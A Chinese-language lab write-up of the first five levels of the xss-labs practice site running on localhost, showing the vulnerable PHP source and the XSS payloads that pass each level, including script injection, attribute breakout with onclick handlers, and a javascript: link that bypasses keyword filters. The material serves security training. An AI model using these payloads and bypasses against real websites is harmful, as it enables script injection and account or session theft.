以前囫囵吞枣做过一遍,现在从头再来

第一关网址为:http://127.0.0.1/xss-labs-master/level1.php?name=test

而页面上显示了用户test,name可控,查看其源代码为

echo "<h2 align=center>欢迎用户".$str."</h2>";

构造

$str=<script>alert(1)</script>

页面源代码就变成了:

<h2 align=center>欢迎用户<script>alert(1)</script></h2>

故payload为:

<script>alert(1)</script>

这里h2标签里面能够执行js代码,所以我们不进行闭合,有一些HTML标签中不执行JS代码,例如:

<title>, <textarea >,<xmp>

等标签就需要进行相应的闭合,再插入JS代码进行执行。

另外除了alert外,进行弹窗还可以使用confirm或者prompt函数。

输入payload通过第一关

简单检测一下过滤情况

<>script

可以看到输入的payload在两个位置输出,再查看源代码,检查过滤情况

可以看到第一个框中的 < > 被转义了,而第二个框中没有被转义,所以我们从第二个框进行XSS的突破

根据源码构造payload

"><script>alert(1)</script>

通过第二关

还是使用简单payload进行过滤检测

<>script

可以看到这两个框内都进行了XSS特殊字符的转义

查看源代码:

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

可以看到显示的地方使用 htmlspecialchars 函数进行了特殊字符的转义

<input name=keyword  value='".htmlspecialchars($str)."'>	

而第三关与第二关除了 input标签里面进行了转义之外,value值包裹符号从双引号变成了单引号,也就是本关的突破点。

关于 htmlspecialchars 函数,有

可以看出来,该函数默认仅编码双引号,而value值包裹符号为单引号,我们可以进行相应闭合,构造payload为

' onclick=alert(1) '

进入第四关

输入检测过滤

<>"'script/

查看源代码转义情况

可以看到第一红框内部进行了转义,而第二红框内部没有转义。

根据input标签显示情况来使用双引号进行闭合。

" onclick=alert(1) "

进入第五关

简单检测过滤

<>script'"/

可以看到同样 input 里面没有进行转义,尝试使用上一关的payload

" onclick=alert(1) "

可见onclick 变成了o_nclick ,中间使用下划线将其分离

查看源代码过滤情况,关键部分为:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);

对关键字进行了替换,同时使用strtolower函数进行了字符串小写转换,禁止了大小写绕过

使用href超链接指向javascript代码,执行alert弹窗函数

payload为:

"><a href="javascript:alert(1)">hi</a>

点击弹窗通过

XSS挑战赛(1)的更多相关文章

  1. 某xss挑战赛闯关笔记

    0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyu ...

  2. xss挑战赛小记 0x02(prompt(1))

    0x0O 上次搜xss挑战赛的时候 还找到了一个看上去难度更高的挑战赛 今天做了一下 学到了很多新东西 这个挑战赛能够在页面成功prompt(1)就算过关了 挑战地址 http://prompt.ml ...

  3. xss挑战赛小记 0x01(xsstest)

    0x00 今天在先知社区看到了一个xss挑战赛 结果发现比赛已经结束 服务器也关了 百度找了个xss挑战赛来玩一下 正好印证下xss的学习--- 地址     http://test.xss.tv/ ...

  4. xss挑战赛小记 0x03(xssgame)

    0x00 继续做xss吧 这次是xssgame 地址 http://www.xssgame.com/ 一共八关 学到了很多东西 0x01 啥也没有 <svg/onload="alert ...

  5. XSS挑战赛(4)

    16-20关 第十六关 关键代码为: <?php ini_set("display_errors", 0); $str = strtolower($_GET["ke ...

  6. XSS挑战赛(3)

    查看关键代码: <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = ...

  7. XSS挑战赛(2)

    进入第六关 简单判断过滤情况 <>script"'/ 查看源代码 可以看到第二个红框部分跟之前类似,闭合双引号尝试进行弹窗 "><script>ale ...

  8. 先知xss挑战赛学习笔记

    xss游戏 游戏地址:http://ec2-13-58-146-2.us-east-2.compute.amazonaws.com/ LEMON参考wp地址 1. 文件上传 源码如下 <?php ...

  9. web全套资料 干货满满 各种文章详解

    sql注入l MySqlMySQL False注入及技巧总结MySQL 注入攻击与防御sql注入学习总结SQL注入防御与绕过的几种姿势MySQL偏门技巧mysql注入可报错时爆表名.字段名.库名高级S ...

随机推荐

  1. day88:luffy:支付宝同步结果通知&接收异步支付结果&用户购买记录&我的订单

    目录 1.支付宝同步结果通知 2.用户购买记录表 3.接受异步支付结果 4.善后事宜 5.我的订单 1.支付宝同步结果通知 1.get请求支付宝,支付宝返回给你的参数 当用户输入用户名和密码确认支付的 ...

  2. 3 jinja2模板

    video17 jinja2过滤器 过滤器通过管道符号进行使用.如{{ name | length }}将返回name的长度,过滤器相当于是一个函数. 1 def hello_world(): 2 i ...

  3. Mycat分库分表(一)

    随着业务变得越来越复杂,用户越来越多,集中式的架构性能会出现巨大的问题,比如系统会越来越慢,而且时不时会宕机,所以必须要解决高性能和可用性的问题.这个时候数据库的优化就显得尤为重要,在说优化方案前,先 ...

  4. ubuntu12.04 安装lamp <1>

    安装:lamp: sudo apt-get install apache2 libapache2-mod-php5 php5-mysql mysql-server 删除mysql sudo apt-g ...

  5. 模块化-CommonJs、AMD、CMD、ES6

    在了解AMD,CMD规范前,还是需要先来简单地了解下什么是模块化,模块化开发?模块化是指在解决某一个复杂问题或者一系列的杂糅问题时,依照一种分类的思维把问题进行系统性的分解以之处理.模块化是一种处理复 ...

  6. python实战GUI界面+mysql

    前言 前面用tkinter做了一个巨丑的GUI界面,今天想把它变漂亮起来,重新找回page做了一个界面,它也是基于tkinter开发的所见即所得的界面编辑器,前面因为代码搞不明白没用上,现在重新研究一 ...

  7. property内置装饰器函数和@name.setter、@name.deleter

    # property # 内置装饰器函数 只在面向对象中使用 # 装饰后效果:将类的方法伪装成属性 # 被property装饰后的方法,不能带除了self外的任何参数 from math import ...

  8. Win10系统下安装VC6.0教程

    学习一门语言最重要的一步是搭建环境,许多人搭建在搭建环境上撞墙了,就有些放弃的心理了:俗话说,工欲善其事,必先利其器:所以接下来我们进行学习C的第一步下载编程所用的工具;当然也有其它的软件,只不过初学 ...

  9. 百度ping工具

    function postUrl($url, $postvar) { $ch = curl_init(); $headers = array( "POST".$url." ...

  10. addslashes()

    addslashes() 函数返回在预定义字符之前添加反斜杠的字符串. 作用:防止sql注入